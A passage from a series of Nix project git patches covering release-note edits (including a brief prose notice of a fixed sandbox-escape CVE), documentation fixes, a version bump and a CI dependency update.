/Users/wiggles/nix/functions.nix:2:8»; primop = «primop map»; primop-app = «partially applied primop map»; } + ``` + + This was actually released in Nix 2.20, but wasn't added to the release notes + so we're announcing it here. The historical release notes have been updated as well. + + [type-error]: https://github.com/NixOS/nix/pull/9753 + [coercion-error]: https://github.com/NixOS/nix/pull/9754 + +- Store paths are allowed to start with `.` [#912](https://github.com/NixOS/nix/issues/912) [#9091](https://github.com/NixOS/nix/pull/9091) [#9095](https://github.com/NixOS/nix/pull/9095) [#9120](https://github.com/NixOS/nix/pull/9120) [#9121](https://github.com/NixOS/nix/pull/9121) [#9122](https://github.com/NixOS/nix/pull/9122) [#9130](https://github.com/NixOS/nix/pull/9130) [#9219](https://github.com/NixOS/nix/pull/9219) [#9224](https://github.com/NixOS/nix/pull/9224) [#9867](https://github.com/NixOS/nix/pull/9867) + + Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. + From now on, leading periods are officially, definitively supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. + + Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). + +- Nix commands respect Ctrl-C [#7245](https://github.com/NixOS/nix/issues/7245) [#6995](https://github.com/NixOS/nix/pull/6995) [#9687](https://github.com/NixOS/nix/pull/9687) + + Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed + while performing various operations (including `nix develop`, `nix flake + update`, and so on). With several fixes to Nix's signal handlers, Nix commands + will now exit quickly after Ctrl-C is pressed. + + This was actually released in Nix 2.20, but wasn't added to the release notes + so we're announcing it here. The historical release notes have been updated as well. + +- `nix repl` pretty-prints values [#9931](https://github.com/NixOS/nix/pull/9931) + + `nix repl` will now pretty-print values: + + ``` + { + attrs = { + a = { + b = { + c = { }; + }; + }; + }; + list = [ 1 ]; + list' = [ + 1 + 2 + 3 + ]; + } + ``` + +- Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` [#10166](https://github.com/NixOS/nix/pull/10166) + + Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. + For instance: + + ``` + nix profile remove '.*vim.*' + ``` + + This would remove all packages that contain `vim` in their name. + + In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. + + To avoid unintended behavior, the arguments are now only matching exact names. + + Matching using regular expressions is still possible by using the new `--regex` flag: + + ``` + nix profile remove --regex '.*vim.*' + ``` + + One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: + + ``` + nix profile upgrade '.*' + ``` + + With the introduction of the `--all` flag, this now becomes more straightforward: + + ``` + nix profile upgrade --all + ``` + +- Visual clutter in `--debugger` is reduced [#9919](https://github.com/NixOS/nix/pull/9919) + + Before: + ``` + info: breakpoint reached + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. + + nix-repl> :continue + error: uh oh + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. + + nix-repl> + ``` + + After: + + ``` + info: breakpoint reached + + Nix 2.20.0pre20231222_dirty debugger + Type :? for help. + nix-repl> :continue + error: uh oh + + nix-repl> + ``` + +- `nix repl` now respects Ctrl-C while printing values [#9927](https://github.com/NixOS/nix/pull/9927) + + `nix repl` will now halt immediately when Ctrl-C is pressed while it's printing + a value. This is useful if you got curious about what would happen if you + printed all of Nixpkgs. + +- Cycle detection in `nix repl` is simpler and more reliable [#8672](https://github.com/NixOS/nix/issues/8672) [#9926](https://github.com/NixOS/nix/pull/9926) + + The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere + else values are printed is now simpler and matches the cycle detection in + `nix-instantiate --eval` output. + + Before: + + ``` + nix eval --expr 'let self = { inherit self; }; in self' + { self = { self = «repeated»; }; } + ``` + + After: + + ``` + { self = «repeated»; } + ``` + +- In the debugger, `while evaluating the attribute` errors now include position information [#9915](https://github.com/NixOS/nix/pull/9915) + + Before: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- Stack size is increased on macOS [#9860](https://github.com/NixOS/nix/pull/9860) + + Previously, Nix would set the stack size to 64MiB on Linux, but would leave the + stack size set to the default (approximately 8KiB) on macOS. Now, the stack + size is correctly set to 64MiB on macOS as well, which should reduce stack + overflow segfaults in deeply-recursive Nix expressions. + From 4c97a66b4cfd6cb645a26be88c89ca51e48839f7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 11 Mar 2024 18:00:10 +0100 Subject: [PATCH 80/90] Tweak release notes --- doc/manual/src/release-notes/rl-2.21.md | 96 +++++-------------------- 1 file changed, 16 insertions(+), 80 deletions(-) diff --git a/doc/manual/src/release-notes/rl-2.21.md b/doc/manual/src/release-notes/rl-2.21.md index 707b56ce1..75114f117 100644 --- a/doc/manual/src/release-notes/rl-2.21.md +++ b/doc/manual/src/release-notes/rl-2.21.md @@ -1,5 +1,16 @@ # Release 2.21.0 (2024-03-11) +- Fix a fixed-output derivation sandbox escape (CVE-2024-27297) + + Cooperating Nix derivations could send file descriptors to files in the Nix + store to each other via Unix domain sockets in the abstract namespace. This + allowed one derivation to modify the output of the other derivation, after Nix + has registered the path as "valid" and immutable in the Nix database. + In particular, this allowed the output of fixed-output derivations to be + modified from their expected content. + + This isn't the case any more. + - CLI options `--arg-from-file` and `--arg-from-stdin` [#10122](https://github.com/NixOS/nix/pull/10122) The new CLI option `--arg-from-file` *name* *path* passes the contents @@ -102,17 +113,6 @@ Now, Nix will correctly enter the debugger at both breakpoints. -- Fix a FOD sandbox escape - - Cooperating Nix derivations could send file descriptors to files in the Nix - store to each other via Unix domain sockets in the abstract namespace. This - allowed one derivation to modify the output of the other derivation, after Nix - has registered the path as "valid" and immutable in the Nix database. - In particular, this allowed the output of fixed-output derivations to be - modified from their expected content. - - This isn't the case any more. - - Nested debuggers are no longer supported [#9920](https://github.com/NixOS/nix/pull/9920) Previously, evaluating an expression that throws an error in the debugger would @@ -143,84 +143,26 @@ error: what ``` -- consistent order of lambda formals in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) +- Consistent order of function arguments in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) - Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. - This makes printed formals independent of the context they appear in. + Function arguments are now printed in lexicographic order rather than the internal, creation-time based symbol order. -- fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) +- Fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) - When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. + When an `inherit` caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. - `inherit (x) ...` evaluates `x` only once [#9847](https://github.com/NixOS/nix/pull/9847) `inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. -- Functions are printed with more detail [#7145](https://github.com/NixOS/nix/issues/7145) [#9606](https://github.com/NixOS/nix/pull/9606) - - Functions and `builtins` are printed with more detail in `nix repl`, `nix - eval`, `builtins.trace`, and most other places values are printed. - - Before: - - ``` - $ nix repl nixpkgs - nix-repl> builtins.map - «primop» - - nix-repl> builtins.map lib.id - «primop-app» - - nix-repl> builtins.trace lib.id "my-value" - trace: - "my-value" - - $ nix eval --file functions.nix - { id = ; primop = ; primop-app = ; } - ``` - - After: - - ``` - $ nix repl nixpkgs - nix-repl> builtins.map - «primop map» - - nix-repl> builtins.map lib.id - «partially applied primop map» - - nix-repl> builtins.trace lib.id "my-value" - trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» - "my-value" - - $ nix eval --file functions.nix - { id = «lambda id @ /Users/wiggles/nix/functions.nix:2:8»; primop = «primop map»; primop-app = «partially applied primop map»; } - ``` - - This was actually released in Nix 2.20, but wasn't added to the release notes - so we're announcing it here. The historical release notes have been updated as well. - - [type-error]: https://github.com/NixOS/nix/pull/9753 - [coercion-error]: https://github.com/NixOS/nix/pull/9754 - - Store paths are allowed to start with `.` [#912](https://github.com/NixOS/nix/issues/912) [#9091](https://github.com/NixOS/nix/pull/9091) [#9095](https://github.com/NixOS/nix/pull/9095) [#9120](https://github.com/NixOS/nix/pull/9120) [#9121](https://github.com/NixOS/nix/pull/9121) [#9122](https://github.com/NixOS/nix/pull/9122) [#9130](https://github.com/NixOS/nix/pull/9130) [#9219](https://github.com/NixOS/nix/pull/9219) [#9224](https://github.com/NixOS/nix/pull/9224) [#9867](https://github.com/NixOS/nix/pull/9867) Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. - From now on, leading periods are officially, definitively supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. + From now on, leading periods are supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). -- Nix commands respect Ctrl-C [#7245](https://github.com/NixOS/nix/issues/7245) [#6995](https://github.com/NixOS/nix/pull/6995) [#9687](https://github.com/NixOS/nix/pull/9687) - - Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed - while performing various operations (including `nix develop`, `nix flake - update`, and so on). With several fixes to Nix's signal handlers, Nix commands - will now exit quickly after Ctrl-C is pressed. - - This was actually released in Nix 2.20, but wasn't added to the release notes - so we're announcing it here. The historical release notes have been updated as well. - - `nix repl` pretty-prints values [#9931](https://github.com/NixOS/nix/pull/9931) `nix repl` will now pretty-print values: @@ -311,12 +253,6 @@ nix-repl> ``` -- `nix repl` now respects Ctrl-C while printing values [#9927](https://github.com/NixOS/nix/pull/9927) - - `nix repl` will now halt immediately when Ctrl-C is pressed while it's printing - a value. This is useful if you got curious about what would happen if you - printed all of Nixpkgs. - - Cycle detection in `nix repl` is simpler and more reliable [#8672](https://github.com/NixOS/nix/issues/8672) [#9926](https://github.com/NixOS/nix/pull/9926) The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere From 7f45b1c8d8caf4beeb68c981ae813d6251a7ee63 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 11 Mar 2024 09:21:24 -0700 Subject: [PATCH 81/90] Add release note --- doc/manual/rl-next/nix-eval-derivations.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 doc/manual/rl-next/nix-eval-derivations.md diff --git a/doc/manual/rl-next/nix-eval-derivations.md b/doc/manual/rl-next/nix-eval-derivations.md new file mode 100644 index 000000000..ed0a73384 --- /dev/null +++ b/doc/manual/rl-next/nix-eval-derivations.md @@ -0,0 +1,13 @@ +--- +synopsis: "`nix eval` prints derivations as `.drv` paths" +prs: 10200 +--- + +`nix eval` will now print derivations as their `.drv` paths, rather than as +attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate +instead of infinitely looping into recursive self-referential attributes: + +```ShellSession +$ nix eval nixpkgs#bash +«derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv» +``` From db36c9ca90794fe82e66d4e0fb7754875978de29 Mon Sep 17 00:00:00 2001 From: Viktor Sonesten Date: Mon, 11 Mar 2024 19:17:45 +0100 Subject: [PATCH 82/90] nix-copy: document --all --from local binary cache example --- src/nix/copy.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/nix/copy.md b/src/nix/copy.md index 199006436..6ab7cdee3 100644 --- a/src/nix/copy.md +++ b/src/nix/copy.md @@ -11,6 +11,12 @@ R""( Note the `file://` - without this, the destination is a chroot store, not a binary cache. +* Copy all store paths from a local binary cache in `/tmp/cache` to the local store: + + ```console + # nix copy --all --from file:///tmp/cache + ``` + * Copy the entire current NixOS system closure to another machine via SSH: From 222c38370fcf3ae52bc1883aafcadbbad3df7d1c Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 11 Mar 2024 21:16:10 +0100 Subject: [PATCH 83/90] Bump version --- .version | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.version b/.version index db65e2167..f48f82fa2 100644 --- a/.version +++ b/.version @@ -1 +1 @@ -2.21.0 +2.22.0 From aa121dc318db9918545554aad14c490b7088cf59 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 11 Mar 2024 22:02:01 +0000 Subject: [PATCH 84/90] Bump cachix/install-nix-action from 25 to 26 Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 25 to 26. - [Release notes](https://github.com/cachix/install-nix-action/releases) - [Commits](https://github.com/cachix/install-nix-action/compare/v25...v26) --- updated-dependencies: - dependency-name: cachix/install-nix-action dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/ci.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 620a84b79..8bd355cca 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -20,7 +20,7 @@ jobs: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: # The sandbox would otherwise be disabled by default on Darwin extra_nix_config: "sandbox = true" @@ -62,7 +62,7 @@ jobs: with: fetch-depth: 0 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - uses: cachix/cachix-action@v14 @@ -84,7 +84,7 @@ jobs: steps: - uses: actions/checkout@v4 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: install_url: '${{needs.installer.outputs.installerURL}}' install_options: "--tarball-url-prefix https://${{ env.CACHIX_NAME }}.cachix.org/serve" @@ -114,7 +114,7 @@ jobs: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV From e5840d57605bdc67fa1a1948e601734e99d1cb91 Mon Sep 17 00:00:00 2001 From: Emanuel Czirai Date: Wed, 13 Mar 2024 20:35:24 +0100 Subject: [PATCH 85/90] typo consant->constant in context.cc --- src/libexpr/primops/context.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 1eec8b316..88502fe2d 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -137,7 +137,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ .name = "__addDrvOutputDependencies", .args = {"s"}, .doc = R"( - Create a copy of the given string where a single consant string context element is turned into a "derivation deep" string context element. + Create a copy of the given string where a single constant string context element is turned into a "derivation deep" string context element. The store path that is the constant string context element should point to a valid derivation, and end in `.drv`. From 3754614b9cd2d1a16cbc3eb4c8011c32918c4baa Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 14 Mar 2024 15:01:47 +0100 Subject: [PATCH 86/90] adjust anchor redirects to point to new pages a previous moving of files accounted for server-side redirects, but not client-side redirects. --- doc/manual/redirects.js | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 28b80f589..25648969d 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -14,7 +14,7 @@ const redirects = { "index.html": { - "part-advanced-topics": "advanced-topics/advanced-topics.html", + "part-advanced-topics": "advanced-topics/index.html", "chap-tuning-cores-and-jobs": "advanced-topics/cores-vs-jobs.html", "chap-diff-hook": "advanced-topics/diff-hook.html", "check-dirs-are-unregistered": "advanced-topics/diff-hook.html#check-dirs-are-unregistered", @@ -22,7 +22,7 @@ const redirects = { "chap-post-build-hook": "advanced-topics/post-build-hook.html", "chap-post-build-hook-caveats": "advanced-topics/post-build-hook.html#implementation-caveats", "chap-writing-nix-expressions": "language/index.html", - "part-command-ref": "command-ref/command-ref.html", + "part-command-ref": "command-ref/index.html", "conf-allow-import-from-derivation": "command-ref/conf-file.html#conf-allow-import-from-derivation", "conf-allow-new-privileges": "command-ref/conf-file.html#conf-allow-new-privileges", "conf-allowed-uris": "command-ref/conf-file.html#conf-allowed-uris", @@ -261,7 +261,7 @@ const redirects = { "sec-installer-proxy-settings": "installation/env-variables.html#proxy-environment-variables", "sec-nix-ssl-cert-file": "installation/env-variables.html#nix_ssl_cert_file", "sec-nix-ssl-cert-file-with-nix-daemon-and-macos": "installation/env-variables.html#nix_ssl_cert_file-with-macos-and-the-nix-daemon", - "chap-installation": "installation/installation.html", + "chap-installation": "installation/index.html", "ch-installing-binary": "installation/installing-binary.html", "sect-macos-installation": "installation/installing-binary.html#macos-installation", "sect-macos-installation-change-store-prefix": "installation/installing-binary.html#macos-installation", @@ -288,7 +288,7 @@ const redirects = { "ssec-copy-closure": "package-management/copy-closure.html", "sec-garbage-collection": "package-management/garbage-collection.html", "ssec-gc-roots": "package-management/garbage-collector-roots.html", - "chap-package-management": "package-management/package-management.html", + "chap-package-management": "package-management/index.html", "sec-profiles": "package-management/profiles.html", "ssec-s3-substituter": "package-management/s3-substituter.html", "ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", @@ -297,7 +297,7 @@ const redirects = { "sec-sharing-packages": "package-management/sharing-packages.html", "ssec-ssh-substituter": "package-management/ssh-substituter.html", "chap-quick-start": "quick-start.html", - "sec-relnotes": "release-notes/release-notes.html", + "sec-relnotes": "release-notes/index.html", "ch-relnotes-0.10.1": "release-notes/rl-0.10.1.html", "ch-relnotes-0.10": "release-notes/rl-0.10.html", "ssec-relnotes-0.11": "release-notes/rl-0.11.html", From a50295425ea205863ef41f66cfbe9c01937ebd08 Mon Sep 17 00:00:00 2001 From: Dimitar Nestorov <8790386+DimitarNestorov@users.noreply.github.com> Date: Thu, 14 Mar 2024 16:15:52 +0200 Subject: [PATCH 87/90] docs: update registry examples When you run `nix flake info` you get a deprecated message --- src/nix/registry-pin.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/nix/registry-pin.md b/src/nix/registry-pin.md index ebc0e3eff..5ad4f8709 100644 --- a/src/nix/registry-pin.md +++ b/src/nix/registry-pin.md @@ -15,10 +15,10 @@ R""( user flake:nixpkgs github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a ``` - and `nix flake info` will say: + and `nix flake metadata` will say: ```console - # nix flake info nixpkgs + # nix flake metadata nixpkgs Resolved URL: github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a Locked URL: github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a … From 49e9efeaaaf4546f8daa2e33dd5191a2c288f737 Mon Sep 17 00:00:00 2001 From: Daniel Sidhion Date: Thu, 14 Mar 2024 23:09:47 -0700 Subject: [PATCH 88/90] doc: document SRI hash format for `outputHash` (#10230) --- doc/manual/src/language/advanced-attributes.md | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 7306fc182..b3e3afe3b 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -188,9 +188,13 @@ Derivations can declare some infrequently used optional attributes. } ``` - The `outputHashAlgo` attribute specifies the hash algorithm used to - compute the hash. It can currently be `"sha1"`, `"sha256"` or - `"sha512"`. + The `outputHash` attribute must be a string containing the hash in either hexadecimal or "nix32" encoding, or following the format for integrity metadata as defined by [SRI](https://www.w3.org/TR/SRI/). + The "nix32" encoding is an adaptation of base-32 encoding. + The [`convertHash`](@docroot@/language/builtins.md#builtins-convertHash) function shows how to convert between different encodings, and the [`nix-hash` command](../command-ref/nix-hash.md) has information about obtaining the hash for some contents, as well as converting to and from encodings. + + The `outputHashAlgo` attribute specifies the hash algorithm used to compute the hash. + It can currently be `"sha1"`, `"sha256"`, `"sha512"`, or `null`. + `outputHashAlgo` can only be `null` when `outputHash` follows the SRI format. The `outputHashMode` attribute determines how the hash is computed. It must be one of the following two values: @@ -209,11 +213,6 @@ Derivations can declare some infrequently used optional attributes. this case, the output can be anything, including a directory tree. - The `outputHash` attribute, finally, must be a string containing - the hash in either hexadecimal or base-32 notation. (See the - [`nix-hash` command](../command-ref/nix-hash.md) for information - about converting to and from base-32 notation.) - - [`__contentAddressed`]{#adv-attr-__contentAddressed} > **Warning** > This attribute is part of an [experimental feature](@docroot@/contributing/experimental-features.md). From 39b0b8452f79e710b65b363663491fc17bb04a25 Mon Sep 17 00:00:00 2001 From: Yueh-Shun Li Date: Sun, 17 Mar 2024 06:13:14 +0800 Subject: [PATCH 89/90] doc: builtins.addDrvOutputDependencies: fix link target --- src/libexpr/primops/context.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 88502fe2d..f5444b44a 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -144,7 +144,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ The original string context element must not be empty or have multiple elements, and it must not have any other type of element other than a constant or derivation deep element. The latter is supported so this function is idempotent. - This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-addDrvOutputDependencies). + This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-unsafeDiscardOutputDependency). )", .fun = prim_addDrvOutputDependencies }); From d2b512959c00e487c4858a6c4bd53dc9db0bf0d6 Mon Sep 17 00:00:00 2001 From: Yueh-Shun Li Date: Mon, 18 Mar 2024 02:38:31 +0800 Subject: [PATCH 90/90] builtins.addDrvOutputDependencies: fix commentary --- src/libexpr/primops/context.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index f5444b44a..27a454b27 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -246,7 +246,7 @@ static RegisterPrimOp primop_getContext({ /* Append the given context to a given string. - See the commentary above unsafeGetContext for details of the + See the commentary above getContext for details of the context representation. */ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * args, Value & v)